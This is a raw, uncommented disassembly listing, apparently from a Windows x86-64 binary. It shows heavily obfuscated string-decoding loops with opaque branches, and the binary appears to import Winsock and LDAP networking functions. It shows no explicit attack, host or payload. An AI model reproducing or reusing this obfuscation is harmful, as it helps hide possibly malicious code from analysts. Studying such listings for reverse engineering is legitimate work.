add rax, r9
sub rbx, rax
movabs rdx, 0x25c75e374e617bd0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xa00], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xa00]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009dd32
movabs rdx, 0x8da4703ea36a5044
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xa00]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009dd32
movabs rcx, 0x8b8b23e63b81579c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x44
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009dd32
movabs rdx, 0x8a24f100a0e6072c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x34
jmp 0x14009ea59
movabs rdx, 0x8971d78dd3985ef4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14009dd32
movabs rdx, 0x880ba4a838fd0e84
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14009e994
movabs rdx, 0x86a571c29e61be14
mov ecx, Ordinal_60
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movabs rdx, 0xa4079e984d1f5744
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xa00], cl
inc r9
dec rbx
inc rbx
jmp 0x14009dd32
movabs rcx, 0x85f2584fd11415dc
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 4
inc r9
dec rbx
inc rbx
jmp 0x14009dd32
movabs rcx, 0x853f3edd03c66da4
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7c
dec rbx
inc rbx
jmp 0x14009dd32
movabs rdx, 0x848c256a3678c56c
mov ecx, 6
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movabs rcx, 0xa4bab80b1a6cff7c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x64
add r11b, cl
add r11b, r10b
mov byte [rbp + rbx + 0xa00], r11b
jmp 0x14009eaab
movabs rcx, 0x83d90bf7692b1d34
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6c
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009dd32
movabs rcx, 0x810ca62c33f47c54
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x4c
movzx eax, byte [rbp + rbx + 0xa00]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009dd32
movabs rdx, 0xae861c5254ac328c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009dd30
movabs rcx, 0xadd302df875e8a54
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x4c
jmp 0x14009dd20
lea rcx, [rbp + 0x1568cd0]
jmp 0x14009eb64
lea rcx, [rbp + 0x17d60ec]
jmp 0x14009eb64
lea rcx, [rbp + 0xa00]
call fcn.140036770
mov byte [rbp + 0xf78], Ordinal_50
mov byte [rbp + 0xf79], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0xf7a], Ordinal_45
mov byte [rbp + 0xf7b], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xf7c], 0x46
mov byte [rbp + 0xf7d], 0x68
mov byte [rbp + 0xf7e], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xf7f], 0x7a
mov byte [rbp + 0xf80], Ordinal_79
mov byte [rbp + 0xf81], Ordinal_41
mov byte [rbp + 0xf82], reloc.WS2_32.dll_select
mov byte [rbp + 0xf83], 0x7e
mov byte [rbp + 0xf84], Ordinal_79
mov byte [rbp + 0xf85], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xf86], WSACleanup
mov byte [rbp + 0xf87], 0x62
mov byte [rbp + 0xf88], 0x63
mov byte [rbp + 0xf89], WSASetLastError
mov byte [rbp + 0xf8a], 0x68
mov byte [rbp + 0xf8b], 0x67
mov byte [rbp + 0xf8c], Ordinal_217
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf8d], xmm0
mov qword [rbp + 0xf9d], rax
mov dword [rbp + 0xfa5], eax
mov word [rbp + 0xfa9], ax
movabs rsi, 0x563b19e853c780ca
movabs r13, 0x41b31fedf6b0622
movabs r14, 0x3ac425634f1c5476
movabs r15, 0x328dc16590464832
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r9, qword [0x14022c4b8]
mov r8, qword [0x14022c4b0]
nop
xor edi, edi
cmp rdi, 0x33
jae 0x14009fa1b
movzx ebx, byte [rbp + rdi + 0xf78]
mov r10, rbx
cmp r9, rdi
ja 0x14009fa0f
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14009ecaa
lea rcx, [rdi + r13]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x12
jmp 0x14009ecf0
je 0x14009f979
inc rax
cmp r9, rax
je 0x14009f945
lea rax, [r8 + 4]
cmp r9, rax
je 0x14009f90f
lea rax, [r8 + 2]
cmp r9, rax
je 0x14009f8e1
lea rax, [r8 + 5]
cmp r9, rax
je 0x14009f8b0
lea rax, [r8 + 3]
cmp r9, rax
je 0x14009f859
cmp r8, rdi
ja 0x14009fa03
lea rax, [r8 + 6]
cmp r9, rax
jae 0x14009ed25
lea rdx, [rdi + rsi]
movzx eax, dl
and al, bl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009ed70
lea rax, [r8 + 1]
cmp r9, rax
je 0x14009f836
lea rax, [r8 + 3]
cmp r9, rax
je 0x14009f80d
lea rax, [r8 + 5]
cmp r9, rax
je 0x14009f7d5
lea rax, [r8 + 6]
cmp r9, rax
je 0x14009f740
lea rax, [r8 + 4]
cmp r9, rax
je 0x14009f70c
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14009f37e
nop dword [rax]
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x14009f35b
lea rax, [r8 + 4]
cmp r9, rax
je 0x14009f32f
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x14009f31b
lea rax, [r8 + 0x1000]
cmp r9, rax
je 0x14009f2f9
lea rax, [r8 + 3]
cmp r9, rax
je 0x14009f2be
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x14009f286
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x14009f25f
lea rax, [r8 + 2]
cmp r9, rax
je 0x14009f23c
lea r9, [r8 + 6]
lea r8, [r9 + 0x10]
lea rax, [r8 + 0x42]
cmp r9, rax
jb 0x14009f9db
lea rax, [r8 + 0x7a]
cmp r9, rax
jb 0x14009f9b3
lea rax, [r8 + 5]
cmp r9, rax
jb 0x14009ef4c
lea rax, [r8 + 0x40]
cmp r9, rax
jb 0x14009ef32
lea rax, [r8 + 0x61]
cmp r9, rax
jb 0x14009ef18
lea rax, [r8 + 4]
cmp r9, rax
jb 0x14009f1e4
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x14009f187
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x14009f136
lea rax, [r8 + 3]
cmp r9, rax
jb 0x14009f103
lea rax, [r8 + 0x20]
cmp r9, rax
jb 0x14009ed80
lea r9, [r8 + 0x64]
lea r8, [r9 + 0x400]
lea rax, [r8 + 0x41]
cmp r9, rax
ja 0x14009f0cf
lea rax, [r8 + 6]
cmp r9, rax
ja 0x14009f0a8
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x14009f081
lea rax, [r8 + 0x7a]
cmp r9, rax
ja 0x14009f049
lea rax, [r8 + 5]
cmp r9, rax
ja 0x14009f00e
lea rax, [r8 + 0x40]
cmp r9, rax
ja 0x14009efec
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x14009efc3
lea rax, [r8 + 4]
cmp r9, rax
ja 0x14009ef97
lea rax, [r8 + 0x28]
cmp r9, rax
ja 0x14009ef74
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x14009ed80
lea r9, [r8 + 0x5a]
lea r8, [r9 + 3]
jmp 0x14009ed80
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3a
jmp 0x14009ed70
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5e
jmp 0x14009ecf0
movabs rdx, 0x2a575d67d1703bee
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009ec74
movabs rcx, 0xb1d8cf429e3c0650
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x14009f87c
movabs rcx, 0xa9a26b44df65fa0c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x54
inc r8
dec rdi
inc rdi
jmp 0x14009ec62
movabs rcx, 0xa16c0747208fedc8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
dec rdi
inc rdi
jmp 0x14009ec62
movabs rdx, 0x9935a34961b9e184
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x14009f69b
movabs rdx, 0x90ff3f4ba2e3d540
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r9, r8
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009ec62
movabs rdx, 0x88c8db4de40dc8fc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009ec62
movabs rdx, 0x809277502537bcb8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 8
add r11b, dl
jmp 0x14009f763
movabs rdx, 0x785c13526661b074
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2c
add r11b, dl
jmp 0x14009f791
movabs rcx, 0x7025af54a78ba430
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
movzx eax, byte [rbp + rdi + 0xf78]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009ec62
movabs rdx, 0x5b9db55a4a748586
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
mov byte [rbp + rdi + 0xf78], r11b
inc rdi
jmp 0x14009ec62
movabs rdx, 0x5367515c8b9e7942
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 0x42
jb 0x14009f126
movabs rcx, 0xa2d5eb8d04a4718c
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, reloc.WLDAP32.dll_Ordinal_22
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x14009f87c
movabs rdx, 0x4b30ed5eccc86cfe
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 5
jae 0x14009f676
lea rax, [r8 + 0xa]
cmp r9, rax
jbe 0x14009f5a7
movabs rcx, 0x50b603a39047f6e4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
jmp 0x14009f159
movabs rcx, 0x42fa89610df260ba
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x16
lea rax, [r8 + r9]
cmp rax, 0x28
je 0x14009f6e2
lea rax, [r8 + 0x80]
cmp r9, rax
jbe 0x14009f4eb
movabs rdx, 0xfa7ae9bb3c80761a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
jmp 0x14009f19e
movabs rcx, 0xfd2c377437d6f878
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
jmp 0x14009f791
movabs rdx, 0xf4f5d3767900ec34
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6c
add r11b, dl
jmp 0x14009f763
movabs rdx, 0xecbf6f78ba2adff0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009ec62
movabs rdx, 0xe4890b7afb54d3ac
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r9, r8
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009ec62
movabs rdx, 0xdc52a77d3c7ec768
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x14009f69b
movabs rdx, 0xd41c437f7da8bb24
mov ecx, 2
jmp 0x14009f8f0
movabs rcx, 0xcbe5df81bed2aee0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
inc r8
dec rdi
inc rdi
jmp 0x14009ec62
movabs rcx, 0xc3af7b83fffca29c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x14009f87c
lea rax, [r8 + 0x20]
cmp r9, rax
jae 0x14009f3aa
lea rdx, [rdi + r13]
movzx eax, dl
and al, bl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009f202
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14009f3eb
movabs rcx, 0xac7633d0a78f0194
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
movzx eax, byte [rbp + rdi + 0xf78]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009ec62
inc rax
cmp r9, rax
jne 0x14009f41f
movabs rdx, 0xb4ac97ce66650dd8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009f791
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14009f464
movabs rdx, 0xc5195fc9e4112660
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009ec62
lea rax, [r8 + 6]
cmp r9, rax
jne 0x14009f494
movabs rcx, 0xd58627c561bd3ee8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
jmp 0x14009f6a1
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14009f4ca
movabs rcx, 0xddbc8bc320934b2c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
dec rdi
inc rdi
jmp 0x14009ec62
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14009f202
movabs rdx, 0xee2953be9e3f63b4
mov ecx, 0xa
jmp 0x14009f868
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14009f50c
movabs rdx, 0x2b14db8fb56825e
mov ecx, gethostname
jmp 0x14009f868
lea rax, [r8 + 6]
cmp r9, rax
jne 0x14009f551
movabs rdx, 0x2bc141adb584bfb2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009ec62
lea rax, [r8 + 7]
cmp r9, rax
jne 0x14009f572
movabs rdx, 0x33f7a5ab745acbf6
mov ecx, reloc.WLDAP32.dll_Ordinal_35
jmp 0x14009f74f
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14009f1aa
movabs rdx, 0x3c2e09a93330d83a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009f791
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14009f5e8
movabs rcx, 0x58ec67a14f1e0328
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
movzx eax, byte [rbp + rdi + 0xf78]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009ec62
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14009f61c
movabs rdx, 0x81fc5b96094c407c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x64
add r11b, dl
jmp 0x14009f6a1
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14009f655
movabs rcx, 0x9269239186f85904
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
inc r8
dec rdi
inc rdi
jmp 0x14009ec62
lea rax, [r8 + 7]
cmp r9, rax
jne 0x14009f159
movabs rdx, 0x9a9f878f45ce6548
mov ecx, 4
jmp 0x14009f868
movabs rdx, 0xab0c4f8ac37a7dd0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0xf78]
add r11b, dl
add r11b, bl
movabs rdx, 0xaf278189a2e583f2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0xf78], cl
add r9, r8
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009ec62
movabs rdx, 0xb342b38882508a14
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0xf78]
jmp 0x14009f75d
movabs rcx, 0xa0249dd4094def2e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x42
movzx eax, byte [rbp + rdi + 0xf78]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009ec62
movabs rdx, 0x8fb7d5d88ba1d6a6
mov ecx, Ordinal_60
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0xb75de58761bb9036
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x7a
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0xf78], al
inc r8
add rax, r8
sub rdi, rax
movabs rcx, 0xbb79178641269658
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x68
add bl, cl
mov byte [rbp + rdi + 0xf78], bl
inc r9
mov rax, r12
sub rax, r9
add rdi, rax
movzx eax, byte [rbp + rdi + 0xf78]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009ec62
movabs rdx, 0x878171dacccbca62
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009ec62
movabs rcx, 0x6ede45e19049a596
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1a
dec rdi
inc rdi
jmp 0x14009ec62
movabs rcx, 0x5e717de6129d8d0e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x62
jmp 0x14009f87c
movabs rdx, 0x4e04b5ea94f17486
mov ecx, Ordinal_45
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0xa6f11d8be40f77ae
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xf78], cl
inc r8
dec rdi
inc rdi
jmp 0x14009ec62
movabs rdx, 0x45ce51ecd61b6842
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r8
dec rdi
inc rdi
jmp 0x14009ec62
movabs rdx, 0x3d97edef17455bfe
mov ecx, 7
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x14009ec62
movabs rcx, 0x2d2b25f399994376
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x3a
add r9, r8
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009ec62
movabs rcx, 0x24f4c1f5dac33732
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5e
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009ec62
movabs rdx, 0xc5195fc9e411266
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0xf78]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009ec62
movabs rdx, 0x2220f96a129a2faa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009ec60
movabs rdx, 0x19ea956c53c42366
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009ec50
lea r14, [rbp + 0x1682e50]
jmp 0x14009fa22
lea r14, [rbp + 0x533472]
jmp 0x14009fa22
lea r14, [rbp + 0xf78]
lea rdx, [0x140225dd0]
lea rcx, [rbp + 0x308]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xa8]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rsi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rsi + 0x38], 0
jne 0x1400a2a12
mov byte [rbp + 0xa28], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xa29], 0x77
mov byte [rbp + 0xa2a], 0x67
mov byte [rbp + 0xa2b], WSACleanup
mov byte [rbp + 0xa2c], 0x68
mov byte [rbp + 0xa2d], 0x64
mov byte [rbp + 0xa2e], 0x7f
mov byte [rbp + 0xa2f], 0xa7
mov byte [rbp + 0xa30], Ordinal_143
mov byte [rbp + 0xa31], 0x99
mov byte [rbp + 0xa32], 0x99
mov byte [rbp + 0xa33], 0xab
mov byte [rbp + 0xa34], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xa35], WSASetLastError
mov byte [rbp + 0xa36], 0x7e
mov byte [rbp + 0xa37], Ordinal_211
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa38], xmm0
mov word [rbp + 0xa48], ax
mov byte [rbp + 0xa4a], al
movabs r15, 0xef1604465daa1c60
movabs r13, 0x162403ea22d3afa0
movzx r10d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
movabs rcx, 0xce6ec3404d9a62e0
cmp rdi, 0x23
jae 0x1400a07c2
movzx ebx, byte [rbp + rdi + 0xa28]
mov r11, rbx
cmp r8, rdi
ja 0x1400a07b6
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009fb73
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
sub r10b, 0x20
jmp 0x14009fbc0
je 0x1400a072a
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a068e
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400a0658
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400a060b
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400a05dd
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400a0587
nop word [rax + rax]
cmp r9, rdi
ja 0x1400a07aa
lea rax, [r9 + 5]
cmp r8, rax
jae 0x14009fbf5
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14009fc42
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400a0578
inc rax
cmp r8, rax
je 0x1400a054f
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400a0527
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a04f4
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400a04cd
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400a0494
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400a01f5
nop
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400a01d0
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400a01a8
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400a017f
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400a015b
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400a0133
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400a0104
lea rcx, [r9 + 0x28]
cmp r8, rcx
je 0x1400a00dd
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400a00a4
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14009fc50
mov r8, rcx
lea r9, [rcx + 0x5a]
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x1400a0787
lea rax, [r9 + 1]
cmp rcx, rax
jb 0x1400a075f
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x14009fe0f
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x14009fde8
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x14009fdca
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x1400a003e
lea rcx, [r9 + 3]
cmp r8, rcx
jb 0x14009ffb1
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14009ff83
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14009fc50
mov r8, rcx
lea r9, [rcx + 6]
lea rax, [r9 + 0x3e8]
cmp rcx, rax
ja 0x14009ff53
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x14009ff2c
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x14009ff05
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x14009fecd
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x14009feae
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x14009fe8a
lea rcx, [r9 + 0x400]
cmp r8, rcx
ja 0x14009fe61
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14009fe41
mov r8, rcx
lea r9, [rcx + 0x7a]
jmp 0x14009fc50
